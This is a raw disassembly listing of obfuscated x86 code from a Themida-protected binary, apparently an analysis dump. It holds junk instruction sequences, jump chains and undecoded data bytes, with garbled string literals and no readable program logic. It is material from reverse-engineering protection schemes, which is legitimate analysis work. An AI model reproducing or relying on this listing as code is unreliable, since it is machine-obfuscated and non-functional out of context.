loc_546797: ; CODE XREF: Themida_:00548AACj
push ebx
push ebp
mov ebp, 29986C78h
mov ebx, ebp
mov ebp, [esp]
add esp, 4
add edi, ebx
pop ebx
push edi
pop eax
mov edi, [esp]
add esp, 4
add eax, edx
sub esp, 4
mov [esp], ecx
mov ecx, 0
mov [eax], ecx
pop ecx
pop eax
push 3565h
mov [esp], ebp
push esi
push 410722F4h
pop esi
jmp loc_547642
; ---------------------------------------------------------------------------
db 81h, 0F3h, 93h
aOfybi1nhsI db 'oДy│К╥1█HИйi',0
align 2
word_5467EA dw 77FFh ; DATA XREF: Themida_:00546338o
dd 59669D1Ch, 9C241CD3h, 0FFFCF2E9h, 4C283FFh, 0B92CE9h
db 0
; ---------------------------------------------------------------------------
loc_546801: ; CODE XREF: Themida_:0054AEFAj
pop esp
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
pop eax
push 5D12h
mov [esp], esi
push esp
jmp loc_547D75
; ---------------------------------------------------------------------------
dw 0B252h
dd 5AD500F1h, 2EC81h, 89660000h, 0CDB62414h, 5A66F500h
dd 0B761E9h, 5FE68100h, 0C105D717h, 0BD5508E6h, 7CA539F0h
dd 4DDDF74Dh, 0D7F2F581h, 0EE01D3B3h, 0B8EE815Dh, 5036810Bh
dd 78F8B951h, 57E96D5Fh, 59000057h, 5CA3F181h, 0E95E5D06h
dd 7069h
; ---------------------------------------------------------------------------
loc_546870: ; CODE XREF: Themida_:0054B268j
pop esp
shr ebp, 3
or ebp, 0B045D81h
push edi
jmp loc_54B587
; ---------------------------------------------------------------------------
loc_546880: ; CODE XREF: Themida_:00547E18j
sub dword ptr [esp+8], 5FE667FAh
sub [esp+8], eax
jmp loc_549077
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
aPiqsvy db '╨вP┬QИVY',0
align 2
word_54689E dw 77FFh ; DATA XREF: Themida_:005462C0o
dd 59669D1Ch, 241CD366h, 0FC3DE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5468AE: ; CODE XREF: Themida_:005465DEj
add [esp+4], edi
push dword ptr [esp]
pop edi
add esp, 4
pop ecx
jmp loc_54C0BD
; ---------------------------------------------------------------------------
loc_5468BF: ; CODE XREF: Themida_:0054AB7Cj
sub edx, 7F26101Ah
jmp loc_54F023
; ---------------------------------------------------------------------------
aVsix db 'VИК∙',0
align 10h
dd 96E4F781h, 0FB0109C7h, 4D0BE9h
db 0
; ---------------------------------------------------------------------------
loc_5468DD: ; CODE XREF: Themida_:0054FE38j
mov edi, 57E72DA6h
neg edi
sub edi, 365D52D8h
add edi, 8E448082h
sub ebp, 244E49D1h
add ebp, edi
add ebp, 244E49D1h
jmp loc_552382
; ---------------------------------------------------------------------------
db 1
dd 2434FFD1h, 3752E95Ah, 0EC830000h, 240C8904h, 0E98076B1h
dd 0CC88508Ah, 1088E9h, 0C1815900h, 4, 5562B850h, 0E4E967F1h
db 4Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546933: ; CODE XREF: Themida_:0054FB96j
push esi
mov esi, 6C9CDFE6h
sub ebx, esi
jmp loc_54B083
; ---------------------------------------------------------------------------
dd 0C8E9F789h, 0B80000A4h, 4, 0E958C129h, 957h, 2474FF55h
dd 242C8B04h, 815E5456h, 4C6h, 4C68300h, 5C243487h, 8B24048Fh
dd 31662424h, 0E99C2404h, 0FFFFFB6Fh, 33243431h, 665C2434h
dd 9C240CFFh, 7D9AE9h, 0D4BF5700h, 475C0967h, 7EFC14Fh
dd 0F30AC781h, 36E93BB4h
db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5469A3: ; CODE XREF: Themida_:0054FF19j
or eax, ecx
pop ecx
push edi
jmp loc_5488E8
; ---------------------------------------------------------------------------
dd 0D405D829h, 0E97F912Ah, 3912h
aUh9g db 'Uh9G',0 ; DATA XREF: Themida_:005463B4o
align 2
dw 0CEE9h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5469C3: ; CODE XREF: Themida_:00551DCAj
mov edx, 52FF637Bh
add edx, 665D4BD0h
neg edx
push ebp
mov ebp, 26BD7ECAh
and edx, ebp
jmp loc_54951A
; ---------------------------------------------------------------------------
dd offset dword_5A0468
align 2
dw 1C89h
dd 88E78824h, 12E95BFEh, 83000094h, 586604C4h, 5B66D830h
dd 252768h, 240C8900h, 77EE68h, 241C8900h, 0E95059B7h
dd 0ADFAh, 5C241487h, 0AC91E9h
db 0
; ---------------------------------------------------------------------------
loc_546A19: ; CODE XREF: Themida_:00551202j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_5516E3
; ---------------------------------------------------------------------------
db 29h
dd 0C60158C6h, 0CE3BF57h, 0E7C175A3h, 81D7F703h, 616F7FE7h
dd 7FF78118h, 0E91BC054h, 222Ch, 85BC581h, 0B95128FFh
dd 5A4326A8h, 3818F181h, 0BB536857h, 0
dd 55CFC381h, 0CB295687h, 55CFEB81h, 0D9895687h, 81241C8Bh
dd 4C4h, 5EE18100h, 0C1424A7Bh, 0DDE903E1h, 56000044h
dd 72B7E9h, 23E82D00h, 3C053266h, 8187A858h, 42170C7h
dd 3BB9E938h, 0ED810000h, 0BAD4682h, 4E866858h, 2C890000h
dd 2474FF24h, 48F5D04h, 24248B24h, 24040166h, 0FA25E99Ch
dd 0C181FFFFh, 418E2F43h, 171BBB53h, 0E3C12188h, 4E3C105h
dd 6310F381h, 0C8E9FADEh
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546AE3: ; CODE XREF: Themida_:0054BBBFj
mov [esp], ecx
jmp loc_5464EB
; ---------------------------------------------------------------------------
aZS9 db 'Z)кИ',7,'9',0
dw 8000h
dd 0C4809FE4h, 58E58831h, 0F6D3C580h, 92C580D5h, 0B1EB80h
dd 0B1C380EBh, 0C2B55159h, 8006EDC0h, 0EB0081EDh, 5F69E9h
dd 9C506600h, 0FFF9C6E9h, 60FE68FFh, 0CEE90000h
db 4Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546B2F: ; CODE XREF: Themida_:0054B9B5j
push 7E772769h
jmp loc_549E07
; ---------------------------------------------------------------------------
db 0BFh, 4, 0
dd 0C92D0000h, 5206DD3Ch, 9458AFBAh, 43B1E956h, 24890000h
dd 4B95124h, 1000000h, 8B04244Ch, 8950240Ch, 405E0h, 0C0830000h
dd 24048704h, 0BBE5E95Ch, 89530000h, 4EC83E3h, 96EAE9h
db 0
; ---------------------------------------------------------------------------
loc_546B7D: ; CODE XREF: Themida_:00548FC4j
and eax, edx
jmp loc_54B62F
; ---------------------------------------------------------------------------
dd 5066CDFEh, 0E52009B4h, 0ED805866h, 0E9EA3014h, 1356h
dd 5AF96857h, 815F23A8h, 550656C7h, 1C60E966h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546BAA: ; CODE XREF: Themida_:0054F212j
sub esp, 4
mov [esp], edi
jmp loc_54E256
; ---------------------------------------------------------------------------
dd 8704E883h, 895C2404h, 0D1E92424h
db 2Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546BC7: ; CODE XREF: Themida_:005471D3j
push 4820h
mov [esp], ebp
mov ebp, 1
add esi, ebp
jmp loc_54A325
; ---------------------------------------------------------------------------
db 89h
dd 21B7241Ch, 9DB15152h, 0F6E95CB2h, 0BA0000B2h, 0E3B2Bh
dd 69E5F281h, 0D00151D0h, 49F9E9h
db 0
; ---------------------------------------------------------------------------
loc_546BFD: ; CODE XREF: Themida_:0054E26Cj
pop ebx
jmp loc_54F0D3
; ---------------------------------------------------------------------------
db 52h
dd 0C281E289h, 4, 8704EA83h, 895C2414h, 58542404h, 405h
dd 6AFD6800h, 3C890000h, 4EC8124h, 89000000h, 72E92414h
dd 89000096h, 4832424h, 815B0424h, 4C3h, 4BF5700h, 1000000h
dd 1C875FFBh, 24248B24h, 0FFFD57E9h, 2434FFFFh, 1586E9h
dd 0E95B6600h, 0B28Ch
; ---------------------------------------------------------------------------
loc_546C64: ; CODE XREF: Themida_:00548A7Bj
xor eax, ebx
xor ebx, eax
jmp loc_54FFAB
; ---------------------------------------------------------------------------
loc_546C6D: ; CODE XREF: Themida_:0054BE9Dj
push ebx
jmp loc_54ED5B
; ---------------------------------------------------------------------------
byte_546C73 db 0FFh ; DATA XREF: Themida_:005462F0o
dd 0E9582434h, 0FFFFF8AAh, 4343E943h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546C82: ; CODE XREF: Themida_:0054D23Bj
add ecx, edi
jmp loc_54AA42
; ---------------------------------------------------------------------------
loc_546C89: ; CODE XREF: Themida_:0054D5B7j
jz loc_54A5EF
push eax
sub esp, 4
mov [esp], ebx
mov ebx, 14D03B2Eh
mov eax, ebx
jmp loc_54FF0A
; ---------------------------------------------------------------------------
loc_546CA2: ; CODE XREF: Themida_:00549CDBj
push eax
jmp loc_54DC9C
; ---------------------------------------------------------------------------
dd 8005C280h, 7AE9D9C2h, 6600008Dh, 22474FFh, 2259E9h
db 0
byte_546CBD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546444o
aHi5 db '$h⌡5',0
align 2
dw 3489h
dd 815E5424h, 4C6h, 0E9525100h, 0FFFFFCB5h
; ---------------------------------------------------------------------------
loc_546CD8: ; CODE XREF: Themida_:005483FDj
sub esi, 4
xchg esi, [esp]
jmp loc_5490FE
; ---------------------------------------------------------------------------
aRhK2zsfc db 'Rh[k^2ZИf≈',0
align 2
loc_546CF2: ; CODE XREF: Themida_:0054C92Cj
add ebx, 4
jmp loc_550C13
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 2C48324h, 0C8BEF88h, 4C48124h, 83000000h, 896602ECh
dd 1B5240Ch, 472AE9h, 24048900h, 4EBE5652h, 0BA57AC72h
dd 5B53C252h, 315EF229h, 5A042454h, 80BE5658h, 5551F054h
dd 1A5CECBDh, 5DEE2979h, 0E8EE681h, 0C68122A3h, 4E05DB4h
dd 6B2768h, 242C8900h, 2E46E9h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, 2E1D5CC6h
inc ecx
jmp loc_54C611
; ---------------------------------------------------------------------------
aZssq db 'ZИА÷',0
align 4
dd 8007E2C0h, 0D030E2C2h, 8124148Bh, 4C4h, 2A57E900h, 0E95E0000h
dd 61DBh
; ---------------------------------------------------------------------------
loc_546DA0: ; CODE XREF: Themida_:0054E234j
add ecx, 4
jmp loc_54B26D
; ---------------------------------------------------------------------------
aFsFSL db 'fSЁд',8,'ьf[И&╚',0
align 4
dd 2D24F905h, 4875D74h, 24248B24h, 24148966h, 63B75350h
dd 7AAEE9h, 0E9C15C00h, 0A064E907h, 4890000h, 4B824h, 0C3890000h
dd 8BDE0158h, 0C481241Ch, 4, 2474FF56h, 48F5E04h, 0EC835C24h
dd 85BEE904h, 0EFC10000h, 6E7C102h, 803B850h, 0D8F7569Bh
dd 0DB2EB625h, 23E73574h, 0D3545E1h, 29FCE8CAh, 0EF8158C7h
dd 47D37D12h, 2D09E9h, 242C8900h, 77FCBA52h, 0BE5647DFh
dd 713E7268h, 5DFF70BDh, 9AB4E9C4h, 0CE810000h, 7A717D02h
dd 0FF3CF681h, 0F701FBF5h, 8124348Bh, 4C4h, 243C8700h
dd 0AE95E9h, 81E78900h, 4C7h, 4C78100h, 87000000h, 515C243Ch
dd 34FEE954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546E7E: ; CODE XREF: Themida_:0054AE73j
xor ebp, eax
pop eax
and ebp, 20DC1520h
xor ebp, 4E655655h
add eax, ebp
jmp loc_548CE8
; ---------------------------------------------------------------------------
loc_546E94: ; CODE XREF: Themida_:0054CCA4j
pop edi
pop dword ptr [esp]
jmp loc_54DB5C
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 0BB530000h, 132413h, 10EB8143h, 0E9001324h, 1CF8h, 3506E8C1h
dd 58910DB4h, 290DE9h, 6A685600h, 0E900001Ah, 0AFC2h
; ---------------------------------------------------------------------------
loc_546ECC: ; CODE XREF: Themida_:00549176j
sub [edi+24h], ebp
push dword ptr [esp]
push dword ptr [esp]
pop ebp
push edi
mov edi, esp
add edi, 4
jmp loc_54937B
; ---------------------------------------------------------------------------
dd 0CBE97F04h, 89000008h, 0E6892434h, 57E9E9h
db 0
byte_546EF5 db 8Fh, 47h, 40h ; DATA XREF: Themida_:00546460o
dd 0FFF5EEE9h, 242489FFh, 4240483h, 81241C8Bh, 4C4h, 4C38100h
dd 81000000h, 4ECh, 240C8900h, 4193E9h, 4EC8100h, 89000000h
dd 4BA2414h, 0E9000000h, 0F77h
dword_546F34 dd 24048B66h, 34FF5455h, 0C4835D24h, 0A4B95104h, 0C1197B6Eh
; DATA XREF: Themida_:0054621Co
dd 0E94107E9h, 5F72h
; ---------------------------------------------------------------------------
loc_546F50: ; CODE XREF: Themida_:00551A95j
mov [esp], esi
push esp
pop esi
push eax
push ebp
mov ebp, 6C4F4934h
mov eax, 6C4F4938h
sub eax, ebp
jmp loc_548DFB
; ---------------------------------------------------------------------------
dd 8103E1C1h, 7602C3C9h, 0D3E95521h
db 54h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546F77: ; CODE XREF: Themida_:0054CC5Cj
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
push ebx
jmp loc_54B952
; ---------------------------------------------------------------------------
loc_546F8B: ; CODE XREF: Themida_:0054D381j
add esp, 4
mov ecx, [esp]
jmp loc_5486FD
; ---------------------------------------------------------------------------
aS_5 db ')бИ╦:',0
dd 58C28900h, 10F3EA81h, 0C28106FFh, 22241881h, 7B66E9h
dd 2474FF00h, 243C8B04h, 8731E9h, 0D3DEB800h, 0B7E9DC97h
dd 5500000Bh, 0FC4744BDh, 3E5C142h, 0C5E4C581h, 0E4E9E81Dh
dd 0C10000A2h, 0B95105EFh, 731B3E64h, 0D45E9h
db 0
; ---------------------------------------------------------------------------
loc_546FE9: ; CODE XREF: Themida_:005495F5j
xchg ebp, [esp]
jmp loc_551C08
; ---------------------------------------------------------------------------
db 31h, 0C3h, 66h
dd 8124148Bh, 4ECh, 240C8900h, 0B51FE9h, 2E0C000h, 0D0F6FF04h
dd 1BE94F2Ch, 80000098h, 0FC880EEFh, 5BFC005Bh, 0E9FFC480h
dd 6935h, 3A1368h, 242C8900h, 77E95D54h, 1000062h, 0FA295FFAh
dd 7F16EA81h, 3C8B58FDh, 0E1895124h, 4C181h, 0C1810000h
dd 4, 5C240C87h, 627EEA81h, 0EA816417h, 575C7004h, 0B1A1E9h
db 0
; ---------------------------------------------------------------------------
loc_547065: ; CODE XREF: Themida_:00550EAAj
mov ebx, [esp]
add esp, 4
mov edx, esi
pop esi
jmp loc_548868
; ---------------------------------------------------------------------------
dw 0E95Ch
dd 8002h, 3191C381h, 34FF5B8Dh, 0C4815A24h, 4, 2C381h
dd 0FF530000h, 0E9042474h, 1A15h
; ---------------------------------------------------------------------------
loc_54709C: ; CODE XREF: Themida_:00549200j
xchg edx, [esp]
not edx
xchg edx, [esp]
jmp loc_54C9ED
; ---------------------------------------------------------------------------
db 0B8h, 0C4h, 15h
dd 8BE93618h, 5D0000B4h, 0EB81EB01h, 304532A2h, 0E92434FFh
dd 897Dh
; ---------------------------------------------------------------------------
loc_5470C4: ; CODE XREF: Themida_:0054C0B8j
push 2C38h
mov [esp], esi
push 3449h
mov [esp], eax
push 342Bh
mov [esp], ebp
jmp loc_54F04C
; ---------------------------------------------------------------------------
db 29h, 0F2h, 5Eh
dd 95ABF57h, 0FA3148CAh, 5717E9h, 34FF5B00h, 0C4815D24h
dd 4, 0F3E9E9C3h, 0E2B6FFFFh, 148BF028h, 0E7895724h, 4C781h
dd 0C7830000h, 243C8704h, 53665A5Ch, 4EC81h, 14890000h
dd 6856B224h, 65CBh, 0FFF40EE9h
db 0FFh
byte_547131 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005463D0o
dd 0D259669Dh, 0E99C2414h, 0FFFFF3ABh
aMs db '╛И~,',0 ; DATA XREF: Themida_:00546404o
align 2
word_547146 dw 77FFh ; DATA XREF: Themida_:005462D4o
dd 19589D1Ch, 0E99C2404h, 0FFFFF397h
; ---------------------------------------------------------------------------
loc_547154: ; CODE XREF: Themida_:0054A16Bj
pop eax
add esp, 4
push ebx
push 18D0h
mov [esp], esi
push 6D0A7A95h
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
add esi, 2D393F9Dh
add esi, 65BC460Eh
mov ebx, esi
pop esi
and ecx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_54CD1F
; ---------------------------------------------------------------------------
loc_5471AB: ; CODE XREF: Themida_:005504F6j
sub edx, ebp
pop ebp
shr edx, 8
add edx, 0FFFFFFFFh
sub edx, 0C4E87F88h
mov ebx, edx
pop edx
push ebx
xor dword ptr [esp], 722D3C9Eh
pop esi
xor esi, 722D3C9Eh
pop ebx
shr esi, 4
jmp loc_546BC7
; ---------------------------------------------------------------------------
dword_5471D8 dd 24048B66h, 48D068h, 242C8900h, 0E953E589h, 60DBh
; DATA XREF: Themida_:00546478o
; ---------------------------------------------------------------------------
loc_5471EC: ; CODE XREF: Themida_:0054BF3Dj
pop edx
add edx, 4
jmp loc_550516
; ---------------------------------------------------------------------------
dd 815AD129h, 0EE331EE1h, 0E9E9D14Eh, 69ADh, 0EEF5814Dh
dd 0E9554325h, 3A17h, 5324248Bh, 4EC8351h, 88241489h, 0F78853C6h
dd 1C8BF988h, 4C48324h, 5A2434FFh, 5004C483h, 3F1FE9h
dd 0EC815100h, 4, 0B3241C89h, 5BDD88B2h, 0EA885266h, 0D588D2F6h
dd 24148B66h, 8758E9h, 242C8900h, 0C5815D54h, 4, 5490E951h
dd 0E2890000h, 4C281h, 11E90000h, 0B9000088h, 6E9E4287h
dd 0C103E9C1h, 3FE908E9h, 57FFFFF8h, 185C5BBFh, 7E7C164h
dd 782DE9h, 0E9FB0400h, 0B11Dh
; ---------------------------------------------------------------------------
loc_54729C: ; CODE XREF: Themida_:0054B2E4j
push ecx
mov ecx, ebx
push ecx
push esi
mov esi, 33967CA6h
jmp loc_54A948
; ---------------------------------------------------------------------------
db 33h
dd 1CE9240Ch
db 0Dh, 2 dup(0)
byte_5472B3 db 0FFh ; DATA XREF: Themida_:00546368o
dd 34FF3C77h, 24048B24h, 4C481h, 89560000h, 1E3AE9E6h
dd 4890000h, 3C7BB824h, 0BD5578D7h, 78D73C7Fh, 2C8BE831h
dd 4C48124h, 1000000h, 0BE5658C5h, 4E8114C8h, 0EFFF681h
dd 0E6C11A3Dh, 6873E908h, 0BF570000h, 27C1E564h, 6C3BC681h
dd 0E9532B79h, 9341h, 0EA477BBAh, 52424A56h, 5A2414F7h
dd 486DBD55h, 0EA01B013h, 226AE95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547326: ; CODE XREF: Themida_:00548AF2j
and eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
jmp loc_5488DF
; ---------------------------------------------------------------------------
db 0BDh, 0C3h, 2Eh
dd 0E9092084h, 6E1C15Dh, 5653D9F7h, 72237CBEh, 6459E927h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547352: ; CODE XREF: Themida_:0055030Cj
push 7257h
jmp loc_547497
; ---------------------------------------------------------------------------
aLSU db '▀$$ИмU',0
align 4
loc_547364: ; CODE XREF: Themida_:0054F6D7j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
jmp loc_5514F3
; ---------------------------------------------------------------------------
dd 1173CF81h, 0C7813D0Ah, 693E7A60h, 7DA5C781h, 0F9891FBEh
dd 449EE9h
db 0
; ---------------------------------------------------------------------------
loc_547395: ; CODE XREF: Themida_:0054A6D3j
or esi, 5AA60D0Ch
xor esi, 8BF4BDDDh
xor eax, esi
pop esi
push eax
not dword ptr [esp]
pop eax
push edx
mov edx, 0FAC9FB14h
add eax, edx
pop edx
push ecx
mov ecx, eax
mov edx, ecx
pop ecx
pop eax
and ecx, edx
push dword ptr [esp]
jmp loc_5524E8
; ---------------------------------------------------------------------------
aMqspq db '╛QИpq',0 ; DATA XREF: Themida_:0054649Co
align 2
aHr db 'hЮ~',0 ; DATA XREF: Themida_:005462D8o
dw 8900h
dd 168242Ch, 8B000000h, 0C483242Ch, 1C6F0904h, 5D2434FFh
dd 5E08950h, 4, 4B951h, 0E8E90000h, 87000069h, 0C6E949E9h
dd 8100005Ch, 8F4B7EEEh, 2AEE81A2h, 0F7690639h, 7EEC1DEh
dd 53BBE681h, 0EE814A6Fh, 89C7E740h, 315EF389h, 0C8315BD9h
dd 82CDE9h, 245C0100h, 0E95E5B04h, 35CAh
; ---------------------------------------------------------------------------
loc_547434: ; CODE XREF: Themida_:0054ED62j
pop ebx
push dword ptr [esp]
pop edx
push edi
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_552047
; ---------------------------------------------------------------------------
loc_54744A: ; CODE XREF: Themida_:0054BEE1j
mov edx, 51736D5Fh
add edx, 0FFFFFFFFh
push ebp
jmp loc_549358
; ---------------------------------------------------------------------------
loc_547458: ; CODE XREF: Themida_:00548DE5j
push ecx
jmp loc_550311
; ---------------------------------------------------------------------------
loc_54745E: ; CODE XREF: Themida_:005520BAj
pop ebx
add esp, 4
and ecx, edx
pop edx
shr ecx, 0Ah
push edi
mov edi, esp
jmp loc_54840F
; ---------------------------------------------------------------------------
loc_547470: ; CODE XREF: Themida_:0054A69Aj
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
jmp loc_54A941
; ---------------------------------------------------------------------------
dw 1BEh
dd 4632836Bh, 2E6C14Eh, 0AC06F681h, 0E5E9CA0Dh
db 7Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547497: ; CODE XREF: Themida_:00547357j
mov [esp], edi
jmp loc_54E763
; ---------------------------------------------------------------------------
byte_54749F db 66h ; DATA XREF: Themida_:00546248o
dd 5224048Bh, 24148B54h, 4C481h, 0C2810000h, 4, 3ABF5755h
dd 0E9343633h, 0A8C0h, 0A068E905h, 0AE5BE94Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5474CA: ; CODE XREF: Themida_:00550CB4j
sub esi, 67F03082h
add esi, 26642B84h
sub esi, 0C2740302h
add edi, esi
pop esi
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_54A8AE
; ---------------------------------------------------------------------------
loc_5474F0: ; CODE XREF: Themida_:0055209Cj
mov [esp], edi
push ebp
mov ebp, 7671252Fh
shr ebp, 1
xor ebp, 4ABDD413h
push ebp
pop edi
pop ebp
xor edi, 496805B2h
shr edi, 5
add edi, 1
push 6A9h
mov [esp], ecx
mov ecx, 4B137470h
neg ecx
or ecx, 66623B8Ch
and ecx, 549C6C47h
sub ecx, 5344BDEAh
xor edi, ecx
pop ecx
and eax, edi
pop edi
or eax, eax
jmp loc_54FB9B
; ---------------------------------------------------------------------------
dw 0E189h
dd 4C181h, 0BF570000h, 3EEB68EEh, 39FCBB53h, 0DF0175FBh
dd 1C7815Bh, 0C1000000h, 0CF8102E7h, 9B2C2Ah, 1FB9514Fh
dd 0F7048479h, 0D2C981D9h, 0C1286173h, 0D9F708E1h, 5D55F181h
dd 56E9A86Ch
db 9Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547583: ; CODE XREF: Themida_:00551925j
shl bl, 6
xor bl, 5
jmp loc_5526B5
; ---------------------------------------------------------------------------
dw 0E281h
dd 40843CBEh, 4857E281h, 81423B7Bh, 0F2C8AFC2h, 0E9D001D0h
dd 2CC5h, 0E905E0C1h, 0FFFFF141h, 0C581E589h, 4, 4C581h
dd 2C870000h, 68535C24h, 2DD0h, 0E9242489h, 9AF3h, 83242C8Bh
dd 0FEE904C4h
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5475DB: ; CODE XREF: Themida_:0054792Cj
or eax, eax
jnz loc_55086A
push ecx
push ebx
mov ebx, 46756ED8h
mov ecx, 5A566B84h
xor ecx, ebx
jmp loc_54A4AA
; ---------------------------------------------------------------------------
loc_5475F6: ; CODE XREF: Themida_:0054CE89j
mov eax, 6C9266B3h
xor eax, 229527F2h
sub eax, 6C454801h
sub eax, 0FFFFFFFFh
xor eax, 0B4F6A455h
mov [edx+30h], eax
mov eax, [esp]
add esp, 4
sub [edx+30h], ebp
pop ebp
popa
popf
jmp locret_54C405
; ---------------------------------------------------------------------------
db 66h
dd 0E9D8005Bh, 7F99h, 0BF57CB01h, 762226DFh, 595FFB29h
dd 5BCA68h, 0BB2E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547642: ; CODE XREF: Themida_:005467D4j
or esi, 6C365CA8h
shr esi, 4
push ebx
mov ebx, 279C5D38h
or ebx, 19120F16h
neg ebx
sub ebx, 57807000h
add ebx, 4A3E0573h
push 3D97h
mov [esp], ebp
push edi
mov edi, 278C2726h
mov ebp, edi
pop edi
sub ebp, 0B521BE50h
xor ebx, ebp
pop ebp
add ebx, 93310AFCh
xor esi, ebx
pop ebx
sub esi, 0FD3DC11Ch
push esi
sub dword ptr [esp], 49C52032h
pop ebp
push eax
jmp loc_54CE6F
; ---------------------------------------------------------------------------
db 0E9h, 49h, 0EEh
dd 0EA80FFFFh, 0BBC28002h, 0A8A1E9h
db 0
; ---------------------------------------------------------------------------
loc_5476AD: ; CODE XREF: Themida_:0055051Cj
xchg edx, [esp]
pop esp
shr eax, 0Eh
xor eax, ecx
jmp loc_54CC49
; ---------------------------------------------------------------------------
loc_5476BB: ; CODE XREF: Themida_:00549C8Bj
pop esp
jmp loc_54A32B
; ---------------------------------------------------------------------------
loc_5476C1: ; CODE XREF: Themida_:005526B8j
mov al, bl
pop ebx
jmp loc_54F426
; ---------------------------------------------------------------------------
byte_5476C9 db 68h, 0C8h, 7 ; DATA XREF: Themida_:005462FCo
dd 14890000h, 1F63E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5476D6: ; CODE XREF: Themida_:005466B0j
mov eax, [esp]
add esp, 4
sub ecx, 971A4B01h
jmp loc_54A72A
; ---------------------------------------------------------------------------
loc_5476EA: ; CODE XREF: Themida_:0054DD54j
push 3034h
mov [esp], edx
xor dword ptr [esp], 51926EC5h
pop esi
xor esi, 51926EC5h
pop edx
and ebx, esi
jmp loc_5510CF
; ---------------------------------------------------------------------------
dword_547708 dd 24048B66h, 44B3E9h ; DATA XREF: Themida_:00546488o
db 0
; ---------------------------------------------------------------------------
loc_547711: ; CODE XREF: Themida_:005495DBj
add eax, 3CF3208Fh
pop edx
shl eax, cl
sub esp, 4
mov [esp], ebx
mov ebx, 1
push ebp
mov ebp, 55B119D4h
jmp loc_54AD05
; ---------------------------------------------------------------------------
db 81h
dd 1B7B48C2h, 9BC28104h, 5E5B4F68h, 0FFEDAAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547741: ; CODE XREF: Themida_:0054B515j
xor dword ptr [esp], 440B4130h
jmp loc_54B330
; ---------------------------------------------------------------------------
loc_54774D: ; CODE XREF: Themida_:00547E97j
push 3395h
jmp loc_54A888
; ---------------------------------------------------------------------------
db 68h
dd 21F203D3h, 8124348Bh, 4C4h, 8DC68100h, 5716057Bh, 2C781BBFh
dd 474F4760h, 0AADCE9h
db 0
; ---------------------------------------------------------------------------
loc_547779: ; CODE XREF: Themida_:0054861Bj
shr ecx, 2
dec ecx
dec ecx
not ecx
shr ecx, 8
or ecx, 11A13044h
jmp loc_54DAA4
; ---------------------------------------------------------------------------
loc_54778E: ; CODE XREF: Themida_:00549629j
mov [esp], edx
mov edx, 4
sub ecx, edx
pop edx
jmp loc_548E1F
; ---------------------------------------------------------------------------
aSSasd db 'SЁХ─И╓',0
db 0D9h, 0E9h, 0E2h
dd 81000001h, 6B5492F1h, 25F1E9C7h, 0C8000000h, 8B667F2Ch
dd 0D6E9240Ch
db 21h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5477C3: ; CODE XREF: Themida_:0054E3DAj
pop edi
add esi, 4
jmp loc_54FBC4
; ---------------------------------------------------------------------------
dd 0F3798705h, 617B2D6Ah, 0BB532CA1h, 7BFB2E15h, 0F409E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5477E2: ; CODE XREF: Themida_:0054B8BFj
sub edi, 12265E7Fh
sub esi, edi
pop edi
xchg esi, [esp]
mov esp, [esp]
mov [esp], esi
jmp loc_55091D
; ---------------------------------------------------------------------------
dd offset dword_438768
align 2
dw 1489h
dd 4BA24h, 0BF570000h, 176C7B58h, 67E9D7F7h
db 46h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547813: ; CODE XREF: Themida_:0054CEE6j
push edi
jmp loc_54B3EF
; ---------------------------------------------------------------------------
db 58h, 83h, 0C7h
dd 243C8702h, 13D0E9h, 84B75300h, 1C8BF888h, 4C48124h
dd 24000000h, 9810E95Fh, 815F0000h, 531DF2F3h, 5BDA0120h
dd 480CE957h, 0EC830000h, 0A87BE904h, 94E90000h, 29FFFFECh
dd 0F55AE9E8h, 0E950FFFFh, 397Ch, 0AA784305h, 241C8B6Ah
dd 504C483h, 7A707A16h, 1E8168h, 5472E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54787E: ; CODE XREF: Themida_:005499F9j
xor eax, 7EB73B6Bh
jmp loc_54D132
; ---------------------------------------------------------------------------
dd 8904EC83h, 0ACE92434h
db 4Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547893: ; CODE XREF: Themida_:0054D029j
or edx, eax
shl edx, 1
push ebp
